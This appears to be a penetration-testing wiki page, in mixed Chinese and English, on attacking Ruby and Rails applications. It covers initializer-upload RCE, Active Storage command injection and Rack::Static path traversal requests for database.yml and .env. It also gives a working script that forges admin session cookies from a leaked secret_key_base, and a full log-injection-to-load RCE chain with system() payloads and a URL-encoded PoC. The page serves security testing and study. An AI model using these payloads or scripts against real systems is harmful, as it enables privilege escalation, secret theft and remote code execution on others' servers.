# Ruby 技巧

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## 文件上传导致 RCE

As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.

提示：
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险（例如，`config/initializers/` 是典型的例子）。如果你发现任意文件上传被放到 `config/` 下的任何位置并在随后被 evaluated/required，则可能在启动时获得 RCE。
- 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。

## Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.

- What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.

- Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.

## Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.

- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.

- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.

## Forging/decrypting Rails cookies when `secret_key_base` is leaked

Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

用于解密并重新加密现代 cookies 的最小 Ruby 代码（AES-256-GCM，近期 Rails 的默认）：
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
注意：
- 较旧的应用可能使用 AES-256-CBC 和 salts `encrypted cookie` / `signed encrypted cookie`，或者使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。
- 在妥协/评估时，旋转 `secret_key_base` 以使所有已存在的 cookies 失效。

## 另见 (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

当一个应用（通常是一个简单的 Rack/Sinatra/Rails 端点）同时满足：
- 按原样记录用户可控的字符串，且
- 之后通过 `Pathname#cleanpath` 处理后，从同一字符串派生路径并 `load` 该文件，

通常可以通过污染日志然后强制应用 `load` 日志文件来实现远程代码执行。关键原语：

- Ruby 的 `load` 会将目标文件内容作为 Ruby 解释执行，忽略文件扩展名。任何可读的文本文件，只要其内容能被解析为 Ruby，就会被执行。
- `Pathname#cleanpath` 在不访问文件系统的情况下折叠 `.` 和 `..` 段，从而允许路径混淆：可在记录时前置攻击者控制的垃圾数据，而清理后的路径仍解析到要执行的目标文件（例如 `../logs/error.log`）。

### 最小易受攻击模式
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
```
### 为什么日志可以包含有效的 Ruby
`Logger` 写入类似以下的前缀行：
```
I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
```
在 Ruby 中，`#` 表示注释，`9/2/2025` 只是算术运算。要注入有效的 Ruby 代码，你需要：
- 在新行开始你的 payload，这样不会被 INFO 行中的 `#` 注释掉；发送一个前导换行符（`\n` 或 `%0A`）。
- 关闭 INFO 行引入的悬空 `[`。常见技巧是以 `]` 开头，并可选地用 `][0]=1` 让解析器满意。
- 然后放入任意 Ruby 代码（例如 `system(...)`）。

以下是使用精心构造的参数进行一次请求后，最终会写入日志的示例：
```
I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
```
### 构造一个既会记录代码又会解析为日志路径的单字符串
我们需要一个由攻击者控制的单个字符串，满足：
- 当原样记录时，包含我们的 Ruby payload，且
- 当通过 `Pathname.new(<input>).cleanpath` 处理时，解析为 `../logs/error.log`，因此随后对该刚被污染的日志文件执行 `load`。

Pathname#cleanpath 会忽略 schemes 并折叠遍历组件，所以下面的方法可行：
```ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
```
- 在 `://` 前的 `#` 确保 Ruby 在日志被执行时忽略尾部，而 `cleanpath` 仍会将后缀简化为 `../logs/error.log`。
- 前导的 newline 会跳出 INFO 行；`]` 关闭悬挂的括号；`][0]=1` 满足解析器。

### End-to-end exploitation
1. 将以下内容作为备份脚本名发送（如果需要，将第一个 newline URL-encode 为 `%0A`）:
```
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
```
2. 应用将你的原始字符串记录到 `logs/error.log`。
3. 应用计算 `cleanpath`，解析为 `../logs/error.log` 并对其调用 `load`。
4. Ruby 会执行你注入到日志中的代码。

To exfiltrate a file in a CTF-like environment:
```
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
```
URL-encoded PoC (第一个字符是换行符):
```
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
```
## 参考资料

- Rails 安全公告: CVE-2025-24293 Active Storage unsafe transformation methods (已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub 通报: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)

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